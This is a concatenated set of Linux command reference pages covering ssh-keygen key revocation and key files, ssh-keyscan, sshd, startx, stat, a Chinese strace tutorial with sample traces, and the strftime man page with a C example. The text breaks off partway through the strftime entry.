             Revokes a certificate with the specified serial number.  Serial numbers are 64-bit values, not including zero and may
             be expressed in decimal, hex or octal.  If two serial numbers are specified separated by a hyphen, then the range of
             serial numbers including and between each is revoked.  The CA key must have been specified on the ssh-keygen command
             line using the -s option.

     id: key_id
             Revokes a certificate with the specified key ID string.  The CA key must have been specified on the ssh-keygen command
             line using the -s option.

     key: public_key
             Revokes the specified key.  If a certificate is listed, then it is revoked as a plain public key.

     sha1: public_key
             Revokes the specified key by its SHA1 hash.

     KRLs may be updated using the -u flag in addition to -k.  When this option is specified, keys listed via the command line are
     merged into the KRL, adding to those already there.

     It is also possible, given a KRL, to test whether it revokes a particular key (or keys).  The -Q flag will query an existing
     KRL, testing each key specified on the command line.  If any key listed on the command line has been revoked (or an error
     encountered) then ssh-keygen will exit with a non-zero exit status.  A zero exit status will only be returned if no key was
     revoked.

</pre>
*FILES<pre>
     ~/.ssh/identity
             Contains the protocol version 1 RSA authentication identity of the user.  This file should not be readable by anyone
             but the user.  It is possible to specify a passphrase when generating the key; that passphrase will be used to encrypt
             the private part of this file using 3DES.  This file is not automatically accessed by ssh-keygen but it is offered as
             the default file for the private key.  ssh(1) will read this file when a login attempt is made.

     ~/.ssh/identity.pub
             Contains the protocol version 1 RSA public key for authentication.  The contents of this file should be added to
             ~/.ssh/authorized_keys on all machines where the user wishes to log in using RSA authentication.  There is no need to
             keep the contents of this file secret.

     ~/.ssh/id_dsa
     ~/.ssh/id_ecdsa
     ~/.ssh/id_ed25519
     ~/.ssh/id_rsa
             Contains the protocol version 2 DSA, ECDSA, Ed25519 or RSA authentication identity of the user.  This file should not
             be readable by anyone but the user.  It is possible to specify a passphrase when generating the key; that passphrase
             will be used to encrypt the private part of this file using 128-bit AES.  This file is not automatically accessed by
             ssh-keygen but it is offered as the default file for the private key.  ssh(1) will read this file when a login attempt
             is made.

     ~/.ssh/id_dsa.pub
     ~/.ssh/id_ecdsa.pub
     ~/.ssh/id_ed25519.pub
     ~/.ssh/id_rsa.pub
             Contains the protocol version 2 DSA, ECDSA, Ed25519 or RSA public key for authentication.  The contents of this file
             should be added to ~/.ssh/authorized_keys on all machines where the user wishes to log in using public key authentica‐
             tion.  There is no need to keep the contents of this file secret.

     /etc/ssh/moduli
             Contains Diffie-Hellman groups used for DH-GEX.  The file format is described in moduli(5).

</pre>
*ENVIRONMENT<pre>
     SSH_USE_STRONG_RNG
             The reseeding of the OpenSSL random generator is usually done from /dev/urandom.  If the SSH_USE_STRONG_RNG environment
             variable is set to value other than 0 the OpenSSL random generator is reseeded from /dev/random.  The number of bytes
             read is defined by the SSH_USE_STRONG_RNG value.  Minimum is 14 bytes.  This setting is not recommended on the comput‐
             ers without the hardware random generator because insufficient entropy causes the connection to be blocked until enough
             entropy is available.
</pre>
*SEE ALSO<pre>
     ssh(1), ssh-add(1), ssh-agent(1), moduli(5), sshd(8)

     The Secure Shell (SSH) Public Key File Format, RFC 4716, 2006.

</pre>
*AUTHORS<pre>
     OpenSSH is a derivative of the original and free ssh 1.2.12 release by Tatu Ylonen.  Aaron Campbell, Bob Beck, Markus Friedl,
     Niels Provos, Theo de Raadt and Dug Song removed many bugs, re-added newer features and created OpenSSH.  Markus Friedl con‐
     tributed the support for SSH protocol versions 1.5 and 2.0.

</pre>
!!简介
:<div>
ssh-keyscan
===

收集主机公钥的使用工具

</div>

!! 补充说明

:<div>


"ssh-keyscan命令" 是一个收集大量主机公钥的使用工具。

</div>

!! 语法  

:<div>


```
ssh-keyscan(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-4:强制使用IPv4地址;
-6:强制使用IPv6地址;
-f:从指定文件中读取“地址列表/名字列表”;
-p:指定连接远程主机的端口;
-T:指定连接尝试的超时时间;
-t:指定要创建的密钥类型;
-v:信息模式,打印调试信息。
```

</div>

!! 参数  

:<div>


主机列表:指定要收集公钥的主机列表。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
sshd
===

openssh软件套件中的服务器守护进程

</div>

!! 补充说明

:<div>


"sshd命令" 是openssh软件套件中的服务器守护进程。

</div>

!! 语法  

:<div>


```
sshd(选项)
```

</div>

!! 选项  

:<div>


```
-4:强制使用IPv4地址;
-6:强制使用IPv6地址;
-D:以后台守护进程方式运行服务器;
-d:调试模式;
-e:将错误发送到标准错误设备,而不是将其发送到系统日志;
-f:指定服务器的配置文件;
-g:指定客户端登录时的过期时间,如果在此期限内,用户没有正确认证,则服务器断开次客户端的连接;
-h:指定读取主机key文件;
-i:ssh以inetd方式运行;
-o:指定ssh的配置选项;
-p:静默模式,没有任何信息写入日志;
-t:测试模式。
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
startx
===

用来启动X Window

</div>

!! 补充说明

:<div>


"startx命令" 用来启动X Window,实际上启动X Window的程序为xinit。

</div>

!! 语法  

:<div>


```
startx(参数)
```

</div>

!! 参数  

:<div>


*   客户端及选项:X客户端及选项;
*   服务器及选项:X服务器及选项。

</div>

!! 实例  

:<div>


要在工作站上或 X 终端上启动 X 会话,请输入:

```
startx
```

要在工作站上强制启动 X 会话,请输入: 

```
startx -w
```

要为 X 终端启动 X 会话,并注销用户的 telnet 会话,请输入:

```
startx; kill -9 $
```

要使用 .xinitrc 脚本启动 X 会话,请输入:

```
startx -x .xinitrc
```

要使用 mwm 窗口管理器启动 X 会话,请输入:

```
startx -m mwm
```

但是,如果找到启动脚本文件,则忽略`-w`选项。在启动脚本中,启动窗口管理器、装入X资源以及产生X客户机是用户的责任。以下是.xsession脚本的一个示例。

```
#!/bin/csh
 (mwm &)
 xrdb -load .Xdefaults
 (xclock -g 75x75+0+0 &)
 (xbiff -g 75x75+101-0 &)
 if ("/dev/lft*" == "`tty`") then
  aixterm -g 80x24+0+0 +ut -C -T `hostname`
 else
  aixterm -g 80x24+0+0 +ut -T `hostname`
 endif
```

对于工作站,startup脚本中的最后一行应该是前台aixterm命令,该命令带有`-C`选项表示控制台信息。对于X终端,startup脚本中的最后一行应该是不带有`-C`选项的前台aixterm命令。另外,由于某些X终端在关闭时不终止telnet会话,所以用户必须在使用热键切换至X会话前退出当前的telnet会话。

`/usr/lib/X11/xdm/Xsession`文件中的xdm命令也可以使用startx命令。这为xdm命令提供了startx命令的功能。

以下是启动X会话一贯使用的文件名。

```
$HOME/.xerrors 其中,startx 用来重定向错误消息。在缺省情况下,startx 将错误重定向至用户主目录中的 .xerrors 文件中。
$HOME/.Xinit,  
$HOME/.xinit,  
$HOME/.Xinitrc,  
$HOME/.xinitrc,  
$HOME/.xsession 作为包含 shell 命令的“启动文件”来启动窗口管理器、装入 X 资源并产生 X 客户机。
$HOME/.Xdefaults,  
$HOME/.xresources 作为装入的 X 资源文件来设置 X 客户机的用户首选项。
$HOME/.mwmrc mwm 配置文件。
$HOME/.twmrc twm 配置文件。
$HOME/.awmrc awm 配置文件。
$HOME/.uwmrc uwm 配置文件。
/dev/lft* 终端或 tty、工作站初始 login shell 的界面。
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
* exp<pre>

```bash
[root@qs02 ~]# stat /dev/zero
  File: ‘/dev/zero’
  Size: 0         	Blocks: 0          IO Block: 4096   character special file
Device: 5h/5d	Inode: 5080        Links: 1     Device type: 1,5
Access: (0666/crw-rw-rw-)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2018-08-21 15:53:22.482000000 +0800
Modify: 2018-08-21 15:53:22.482000000 +0800
Change: 2018-08-21 15:53:22.482000000 +0800
 Birth: -

[root@hs02 ~]# stat /dev/sda1
  File: ‘/dev/sda1’
  Size: 0               Blocks: 0          IO Block: 4096   block special file
Device: 5h/5d   Inode: 10062       Links: 1     Device type: 8,1
Access: (0660/brw-rw----)  Uid: (    0/    root)   Gid: (    6/    disk)
Context: system_u:object_r:fixed_disk_device_t:s0
Access: 2018-08-25 15:29:05.943658191 +0800
Modify: 2018-08-25 13:50:31.444426700 +0800
Change: 2018-08-25 13:50:31.444426700 +0800
 Birth: -

[root@hs02 ~]# stat /root
  File: ‘/root’
  Size: 177             Blocks: 0          IO Block: 4096   directory
Device: fd00h/64768d    Inode: 25165921    Links: 4
Access: (0550/dr-xr-x---)  Uid: (    0/    root)   Gid: (    0/    root)
Context: system_u:object_r:admin_home_t:s0
Access: 2018-08-25 12:18:03.005209448 +0800
Modify: 2018-08-25 12:16:03.934720522 +0800
Change: 2018-08-25 12:16:03.934720522 +0800
 Birth: -


[root@hs02 ~]# stat anaconda-ks.cfg 
  File: ‘anaconda-ks.cfg’
  Size: 1787            Blocks: 8          IO Block: 4096   regular file
Device: fd00h/64768d    Inode: 25165922    Links: 1
Access: (0600/-rw-------)  Uid: (    0/    root)   Gid: (    0/    root)
Context: system_u:object_r:admin_home_t:s0
Access: 2018-08-25 13:14:13.530435507 +0800
Modify: 2018-08-24 04:44:53.392998881 +0800
Change: 2018-08-24 04:44:53.392998881 +0800
```
</pre>

* help<pre>

Usage: stat [OPTION]... FILE...
Display file or file system status.

Mandatory arguments to long options are mandatory for short options too.
  -L, --dereference     follow links
  -f, --file-system     display file system status instead of file status
  -c  --format=FORMAT   use the specified FORMAT instead of the default;
                          output a newline after each use of FORMAT
      --printf=FORMAT   like --format, but interpret backslash escapes,
                          and do not output a mandatory trailing newline;
                          if you want a newline, include \n in FORMAT
  -t, --terse           print the information in terse form
      --help     display this help and exit
      --version  output version information and exit

The valid format sequences for files (without --file-system):

  %a   access rights in octal
  %A   access rights in human readable form
  %b   number of blocks allocated (see %B)
  %B   the size in bytes of each block reported by %b
  %C   SELinux security context string
  %d   device number in decimal
  %D   device number in hex
  %f   raw mode in hex
  %F   file type
  %g   group ID of owner
  %G   group name of owner
  %h   number of hard links
  %i   inode number
  %m   mount point
  %n   file name
  %N   quoted file name with dereference if symbolic link
  %o   optimal I/O transfer size hint
  %s   total size, in bytes
  %t   major device type in hex, for character/block device special files
  %T   minor device type in hex, for character/block device special files
  %u   user ID of owner
  %U   user name of owner
  %w   time of file birth, human-readable; - if unknown
  %W   time of file birth, seconds since Epoch; 0 if unknown
  %x   time of last access, human-readable
  %X   time of last access, seconds since Epoch
  %y   time of last modification, human-readable
  %Y   time of last modification, seconds since Epoch
  %z   time of last change, human-readable
  %Z   time of last change, seconds since Epoch

Valid format sequences for file systems:

  %a   free blocks available to non-superuser
  %b   total data blocks in file system
  %c   total file nodes in file system
  %d   free file nodes in file system
  %f   free blocks in file system
  %i   file system ID in hex
  %l   maximum length of filenames
  %n   file name
  %s   block size (for faster transfers)
  %S   fundamental block size (for block counts)
  %t   file system type in hex
  %T   file system type in human readable form

NOTE: your shell may have its own version of stat, which usually supersedes
the version described here.  Please refer to your shell's documentation
for details about the options it supports.

GNU coreutils online help: <http://www.gnu.org/software/coreutils/>
For complete documentation, run: info coreutils 'stat invocation'
</pre>
!!简介
:<div>
strace
===

跟踪系统调用和信号

</div>

!! 补充说明

:<div>


"strace命令" 是一个集诊断、调试、统计与一体的工具,我们可以使用strace对应用的系统调用和信号传递的跟踪结果来对应用进行分析,以达到解决问题或者是了解应用工作过程的目的。当然strace与专业的调试工具比如说gdb之类的是没法相比的,因为它不是一个专业的调试器。

strace的最简单的用法就是执行一个指定的命令,在指定的命令结束之后它也就退出了。在命令执行的过程中,strace会记录和解析命令进程的所有系统调用以及这个进程所接收到的所有的信号值。

</div>

!! 语法  

:<div>


```
strace  [  -dffhiqrtttTvxx  ] [ -acolumn ] [ -eexpr ] ...
    [ -ofile ] [-ppid ] ...  [ -sstrsize ] [ -uusername ]
    [ -Evar=val ] ...  [ -Evar  ]...
     [command [ arg ...  ] ]

strace  -c  [ -eexpr ] ...  [ -Ooverhead ] [ -Ssortby ]
    [ command [ arg...  ] ]
```

</div>

!! 选项  

:<div>


```
-c 统计每一系统调用的所执行的时间,次数和出错的次数等.
-d 输出strace关于标准错误的调试信息.
-f 跟踪由fork调用所产生的子进程.
-ff 如果提供-o filename,则所有进程的跟踪结果输出到相应的filename.pid中,pid是各进程的进程号.
-F 尝试跟踪vfork调用.在-f时,vfork不被跟踪.
-h 输出简要的帮助信息.
-i 输出系统调用的入口指针.
-q 禁止输出关于脱离的消息.
-r 打印出相对时间关于,,每一个系统调用.
-t 在输出中的每一行前加上时间信息.
-tt 在输出中的每一行前加上时间信息,微秒级.
-ttt 微秒级输出,以秒了表示时间.
-T 显示每一调用所耗的时间.
-v 输出所有的系统调用.一些调用关于环境变量,状态,输入输出等调用由于使用频繁,默认不输出.
-V 输出strace的版本信息.
-x 以十六进制形式输出非标准字符串
-xx 所有字符串以十六进制形式输出.
-a column 设置返回值的输出位置.默认 为40.
-e expr 指定一个表达式,用来控制如何跟踪.格式:[qualifier=][!]value1[,value2]...
qualifier只能是 trace,abbrev,verbose,raw,signal,read,write其中之一.value是用来限定的符号或数字.默认的 qualifier是 trace.感叹号是否定符号.例如:-eopen等价于 -e trace=open,表示只跟踪open调用.而-etrace!=open 表示跟踪除了open以外的其他调用.有两个特殊的符号 all 和 none. 注意有些shell使用!来执行历史记录里的命令,所以要使用\\.
-e trace=set 只跟踪指定的系统 调用.例如:-e trace=open,close,rean,write表示只跟踪这四个系统调用.默认的为set=all.
-e trace=file 只跟踪有关文件操作的系统调用.
-e trace=process 只跟踪有关进程控制的系统调用.
-e trace=network 跟踪与网络有关的所有系统调用.
-e strace=signal 跟踪所有与系统信号有关的 系统调用
-e trace=ipc 跟踪所有与进程通讯有关的系统调用
-e abbrev=set 设定strace输出的系统调用的结果集.-v 等与 abbrev=none.默认为abbrev=all.
-e raw=set 将指定的系统调用的参数以十六进制显示.
-e signal=set 指定跟踪的系统信号.默认为all.如 signal=!SIGIO(或者signal=!io),表示不跟踪SIGIO信号.
-e read=set 输出从指定文件中读出 的数据.例如: -e read=3,5
-e write=set 输出写入到指定文件中的数据.
-o filename 将strace的输出写入文件filename
-p pid 跟踪指定的进程pid.
-s strsize 指定输出的字符串的最大长度.默认为32.文件名一直全部输出.
-u username 以username的UID和GID执行被跟踪的命令
```

</div>

!! 实例  

:<div>


 "追踪系统调用" 

现在我们做一个很简单的程序来演示strace的基本用法。这个程序的C语言代码如下:

```
# filename test.c
#include <stdio.h>

int main()
{
    int a;
    scanf("%d", &a);
    printf("%09d\n", a);
    return 0;
}
```

然后我们用`gcc -o test test.c`编译一下,得到一个可执行的文件test。然后用strace调用执行:

```
strace ./test
```

执行期间会要求你输入一个整数,我们输入99,最后得到如下的结果:

```
// 直接执行test的结果
oracle@orainst[orcl]:~ $./test

// 执行的结果
99
000000099

// 通过strace执行test的结果
oracle@orainst[orcl]:~ $strace ./test

// strace的trace结果
execve("./test", ["./test"], [/* 41 vars */]) = 0
uname({sys="Linux", node="orainst.desktop.mycompany.com", ...}) = 0
brk(0)                                  = 0x8078000
fstat64(3, {st_mode=S_IFREG|0644, st_size=65900, ...}) = 0
old_mmap(NULL, 65900, PROT_READ, MAP_PRIVATE, 3, 0) = 0xbf5ef000
close(3)                                = 0
open("/lib/tls/libc.so.6", O_RDONLY)    = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\200X\1"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1571692, ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xbf5ee000
old_mmap(NULL, 1275340, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0xa02000
old_mmap(0xb34000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x132000) = 0xb34000
old_mmap(0xb37000, 9676, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb37000
close(3)                                = 0
set_thread_area({entry_number:-1 -> 6, base_addr:0xbf5ee740, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
munmap(0xbf5ef000, 65900)               = 0
fstat64(0, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xbf5ff000
read(0, 99
"99\n", 1024)                   = 3
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xbf5fe000
write(1, "000000099\n", 10000000099
)             = 10
munmap(0xbf5fe000, 4096)                = 0
exit_group(0)                           = ?
```

从trace结构可以看到,系统首先调用execve开始一个新的进行,接着进行些环境的初始化操作,最后停顿在”read(0,”上面,这也就是执行到了我们的scanf函数,等待我们输入数字呢,在输入完99之后,在调用write函数将格式化后的数值”000000099″输出到屏幕,最后调用exit_group退出进行,完成整个程序的执行过程。

 "跟踪信号传递" 

我们还是使用上面的那个test程序,来观察进程接收信号的情况。还是先`strace ./test`,等到等待输入的画面的时候不要输入任何东西,然后打开另外一个窗口,输入如下的命令

```
killall test
```

这时候就能看到我们的程序推出了,最后的trace结果如下:

```
oracle@orainst[orcl]:~
$strace ./test

execve("./test", ["./test"], [/* 41 vars */]) = 0
uname({sys="Linux", node="orainst.desktop.mycompany.com", ...}) = 0
brk(0)                                  = 0x9ae2000
old_mmap(NULL, 65900, PROT_READ, MAP_PRIVATE, 3, 0) = 0xbf5ef000
close(3)                                = 0
open("/lib/tls/libc.so.6", O_RDONLY)    = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\200X\1"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1571692, ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xbf5ee000
old_mmap(NULL, 1275340, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x2e9000
old_mmap(0x41b000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x132000) = 0x41b000
old_mmap(0x41e000, 9676, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x41e000
close(3)                                = 0
set_thread_area({entry_number:-1 -> 6, base_addr:0xbf5ee740, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
munmap(0xbf5ef000, 65900)               = 0
fstat64(0, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xbf5ff000
read(0, 0xbf5ff000, 1024)               = ? ERESTARTSYS (To be restarted)
--- SIGTERM (Terminated) @ 0 (0) ---
+++ killed by SIGTERM +++
```

trace中很清楚的告诉你test进程”+++ killed by SIGTERM +++”。

 "系统调用统计" 

strace不光能追踪系统调用,通过使用参数-c,它还能将进程所有的系统调用做一个统计分析给你,下面就来看看strace的统计,这次我们执行带-c参数的strace:

strace -c ./test

最后能得到这样的trace结果:

```
oracle@orainst[orcl]:~
$strace -c ./test
```

```
execve("./test", ["./test"], [/* 41 vars */]) = 0
% time     seconds  usecs/call     calls    errors syscall
------ ----------- ----------- --------- --------- ----------------
 45.90    0.000140           5        27        25 open
 34.43    0.000105           4        24        21 stat64
  7.54    0.000023           5         5           old_mmap
  2.62    0.000008           8         1           munmap
  1.97    0.000006           6         1           uname
  1.97    0.000006           2         3           fstat64
  1.64    0.000005           3         2         1 read
  1.31    0.000004           2         2           close
  0.98    0.000003           3         1           brk
  0.98    0.000003           3         1           mmap2
  0.66    0.000002           2         1           set_thread_area
------ ----------- ----------- --------- --------- ----------------
100.00    0.000305                    68        47 total

```

这里很清楚的告诉你调用了那些系统函数,调用次数多少,消耗了多少时间等等这些信息,这个对我们分析一个程序来说是非常有用的。

</div>

!! 常用参数说明  

:<div>


除了-c参数之外,strace还提供了其他有用的参数给我们,让我们能很方便的得到自己想要的信息,下面就对那些常用的参数一一做个介绍。

 "重定向输出" 

参数-o用在将strace的结果输出到文件中,如果不指定-o参数的话,默认的输出设备是STDERR,也就是说使用”-o filename”和” 2>filename”的结果是一样的。

```
# 这两个命令都是将strace结果输出到文件test.txt中
strace -c -o test.txt ./test
strace -c ./test  2>test.txt
```

 "对系统调用进行计时" 

strace可以使用参数-T将每个系统调用所花费的时间打印出来,每个调用的时间花销现在在调用行最右边的尖括号里面。

```
oracle@orainst[orcl]:~
$strace -T ./test

// 这里只摘录部分结果
read(0, 1
"1\n", 1024)                    = 2 <2.673455>
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0 <0.000014>
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xbf5fe000 <0.000017>
write(1, "000000001\n", 10000000001
)             = 10 <0.000016>
munmap(0xbf5fe000, 4096)                = 0 <0.000020>
exit_group(0)                           = ?
```

 "系统调用的时间" 

这是一个很有用的功能,strace会将每次系统调用的发生时间记录下来,只要使用-t/tt/ttt三个参数就可以看到效果了,具体的例子可以自己去尝试。

<table>

<thead>

<tr>

<th>参数名</th>

<th>输出样式</th>

<th>说明</th>

</tr>

</thead>

<tbody>

<tr>

<td>-t</td>

<td>10:33:04 exit_group(0)</td>

<td>输出结果精确到秒</td>

</tr>

<tr>

<td>-tt</td>

<td>10:33:48.159682 exit_group(0)</td>

<td>输出结果精确到微妙</td>

</tr>

<tr>

<td>-ttt</td>

<td>1262169244.788478 exit_group(0)</td>

<td>精确到微妙,而且时间表示为unix时间戳</td>

</tr>

</tbody>

</table>

 "截断输出" 

-s参数用于指定trace结果的每一行输出的字符串的长度,下面看看test程序中-s参数对结果有什么影响,现指定-s为20,然后在read的是是很我们输入一个超过20个字符的数字串

```
strace -s 20 ./test

read(0, 2222222222222222222222222      // 我们输入的2一共有25个
"22222222222222222222"..., 1024) = 26  // 而我们看到的结果中2只有20个
```

 "trace一个现有的进程" 

strace不光能自己初始化一个进程进行trace,还能追踪现有的进程,参数-p就是取这个作用的,用法也很简单,具体如下。

```
strace -p pid
```

</div>

!! 综合例子  

:<div>


说了那么多的功能和参数,现在我们来一个实用点的,就是研究下Oracle的lgwr进程,看看这个进程是不是像文档所说的那样没3s钟写一次log文件,考虑到lgwr写日志的触发条件比较多,我们需要找一个空闲的Oracle实例做这个实验。

我们先要得到lgwr进程的pid,运行下面的命令

```
ps -ef|grep lgwr

oracle    5912     1  0 Nov12 ?        00:14:56 ora_lgwr_orcl
```

得到lgwr的pid是5912,现在启动strace,然后将trace的几个输出到lgwr.txt文件中,执行下面的命令

```
strace -tt -s 10 -o lgwr.txt -p 5912
```

过一会之后停止strace,然后查看结果。由于输出的结果比较多,为了方便我们只看Oracle写入log文件时用的pwrite函数的调用

```
grep pwrite\(20 lgwr.txt
```

等等,为什么grep的时候用的是”pwrite(2″呢?,因为我知道我这个机器打开的当前的log文件的句柄编号都是2开始的。具体查找方法是先使用下面的语句找出当前活动的日志文件都有哪些:

```
select member, v$log.status from v$log, v$logfile
where v$log.group#=v$logfile.group#;
```

得到

```
MEMBER                                             STATUS
-------------------------------------------------- ----------------
/db/databases/orcl/redo-01-a/redo-t01-g03-m1.log    INACTIVE
/db/databases/orcl/redo-03-a/redo-t01-g03-m2.log    INACTIVE
/db/databases/orcl/redo-02-a/redo-t01-g02-m1.log    CURRENT
/db/databases/orcl/redo-04-a/redo-t01-g02-m2.log    CURRENT
/db/databases/orcl/redo-01-a/redo-t01-g01-m1.log    INACTIVE
/db/databases/orcl/redo-03-a/redo-t01-g01-m2.log    INACTIVE
/db/databases/orcl/redo-02-a/redo-t01-g04-m1.log    INACTIVE
/db/databases/orcl/redo-04-a/redo-t01-g04-m2.log    INACTIVE
```

然后到/proc中去找打开文件的句柄:

```
ll /proc/.5912/fd/
```

得到

```
lrwx------    1 oracle   dba            64 Dec 30 10:55 18 -> /db/databases/orcl/redo-01-a/redo-t01-g01-m1.log
lrwx------    1 oracle   dba            64 Dec 30 10:55 19 -> /db/databases/orcl/redo-03-a/redo-t01-g01-m2.log
lrwx------    1 oracle   dba            64 Dec 30 10:55 20 -> /db/databases/orcl/redo-02-a/redo-t01-g02-m1.log
lrwx------    1 oracle   dba            64 Dec 30 10:55 21 -> /db/databases/orcl/redo-04-a/redo-t01-g02-m2.log
lrwx------    1 oracle   dba            64 Dec 30 10:55 22 -> /db/databases/orcl/redo-01-a/redo-t01-g03-m1.log
lrwx------    1 oracle   dba            64 Dec 30 10:55 23 -> /db/databases/orcl/redo-03-a/redo-t01-g03-m2.log
lrwx------    1 oracle   dba            64 Dec 30 10:55 24 -> /db/databases/orcl/redo-02-a/redo-t01-g04-m1.log
lrwx------    1 oracle   dba            64 Dec 30 10:55 25 -> /db/databases/orcl/redo-04-a/redo-t01-g04-m2.log
```

现在能看到我机器当前日志文件的句柄分别是20和21。

现在我们得到如下结果

```
11:13:55.603245 pwrite(20, "\1\"\0\0J!"..., 1536, 4363264) = 1536
11:13:55.603569 pwrite(21, "\1\"\0\0J!"..., 1536, 4363264) = 1536
11:13:55.606888 pwrite(20, "\1\"\0\0M!"..., 1536, 4364800) = 1536
11:13:55.607172 pwrite(21, "\1\"\0\0M!"..., 1536, 4364800) = 1536
11:13:55.607934 pwrite(20, "\1\"\0\0P!"..., 1536, 4366336) = 1536
11:13:55.608199 pwrite(21, "\1\"\0\0P!"..., 1536, 4366336) = 1536
11:13:55.610260 pwrite(20, "\1\"\0\0S!"..., 1536, 4367872) = 1536
11:13:55.610530 pwrite(21, "\1\"\0\0S!"..., 1536, 4367872) = 1536
11:14:00.602446 pwrite(20, "\1\"\0\0V!"..., 1536, 4369408) = 1536
11:14:00.602750 pwrite(21, "\1\"\0\0V!"..., 1536, 4369408) = 1536
11:14:00.606386 pwrite(20, "\1\"\0\0Y!"..., 1536, 4370944) = 1536
11:14:00.606676 pwrite(21, "\1\"\0\0Y!"..., 1536, 4370944) = 1536
11:14:00.607900 pwrite(20, "\1\"\0\0\\"..., 1024, 4372480) = 1024
11:14:00.608161 pwrite(21, "\1\"\0\0\\"..., 1024, 4372480) = 1024
11:14:00.608816 pwrite(20, "\1\"\0\0^!"..., 1024, 4373504) = 1024
11:14:00.609071 pwrite(21, "\1\"\0\0^!"..., 1024, 4373504) = 1024
11:14:00.611142 pwrite(20, "\1\"\0\0`!"..., 1536, 4374528) = 1536
11:14:00.611454 pwrite(21, "\1\"\0\0`!"..., 1536, 4374528) = 1536
11:14:05.602804 pwrite(20, "\1\"\0\0c!"..., 1024, 4376064) = 1024
11:14:05.603119 pwrite(21, "\1\"\0\0c!"..., 1024, 4376064) = 1024
11:14:05.607731 pwrite(20, "\1\"\0\0e!"..., 1024, 4377088) = 1024
11:14:05.608020 pwrite(21, "\1\"\0\0e!"..., 1024, 4377088) = 1024
11:14:05.608690 pwrite(20, "\1\"\0\0g!"..., 1024, 4378112) = 1024
11:14:05.608962 pwrite(21, "\1\"\0\0g!"..., 1024, 4378112) = 1024
11:14:05.611022 pwrite(20, "\1\"\0\0i!"..., 1536, 4379136) = 1536
11:14:05.611283 pwrite(21, "\1\"\0\0i!"..., 1536, 4379136) = 1536
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
<pre>

```c
#include <time.h>
#include <stdio.h>
#include <stdlib.h>

int
main(int argc, char *argv[])
{
    char outstr[200];
    time_t t;
    struct tm *tmp;

   t = time(NULL);
    tmp = localtime(&t);
    if (tmp == NULL) {
        perror("localtime");
        exit(EXIT_FAILURE);
    }

   if (strftime(outstr, sizeof(outstr), argv[1], tmp) == 0) {
        fprintf(stderr, "strftime returned 0");
        exit(EXIT_FAILURE);
    }

   printf("Result string is \"%s\"\n", outstr);
    exit(EXIT_SUCCESS);
}
```
<pre>


<pre>

Name
strftime - format date and time

Synopsis
#include <time.h>

size_t strftime(char *s, size_t max, const char *format,
                const struct tm *tm);
Description
The strftime() function formats the broken-down time tm according to the format specification format and places the result in the character array s of size max.

The format specification is a null-terminated string and may contain special character sequences called conversion specifications, each of which is introduced by a '%' character and terminated by some other character known as a conversion specifier character. All other character sequences are ordinary character sequences.

The characters of ordinary character sequences (including the null byte) are copied verbatim from format to s. However, the characters of conversion specifications are replaced as follows:

%a
The abbreviated weekday name according to the current locale.

%A

The full weekday name according to the current locale.

%b

The abbreviated month name according to the current locale.

%B

The full month name according to the current locale.

%c

The preferred date and time representation for the current locale.

%C

The century number (year/100) as a 2-digit integer. (SU)

%d

The day of the month as a decimal number (range 01 to 31).

%D

Equivalent to %m/%d/%y. (Yecch-for Americans only. Americans should note that in other countries %d/%m/%y is rather common. This means that in international context this format is ambiguous and should not be used.) (SU)

%e

Like %d, the day of the month as a decimal number, but a leading zero is replaced by a space. (SU)

%E

Modifier: use alternative format, see below. (SU)

%F

Equivalent to %Y-%m-%d (the ISO 8601 date format). (C99)

%G

The ISO 8601 week-based year (see NOTES) with century as a decimal number. The 4-digit year corresponding to the ISO week number (see %V). This has the same format and value as %Y, except that if the ISO week number belongs to the previous or next year, that year is used instead. (TZ)

%g

Like %G, but without century, that is, with a 2-digit year (00-99). (TZ)

%h

Equivalent to %b. (SU)

%H

The hour as a decimal number using a 24-hour clock (range 00 to 23).

%I

The hour as a decimal number using a 12-hour clock (range 01 to 12).

%j

The day of the year as a decimal number (range 001 to 366).

%k

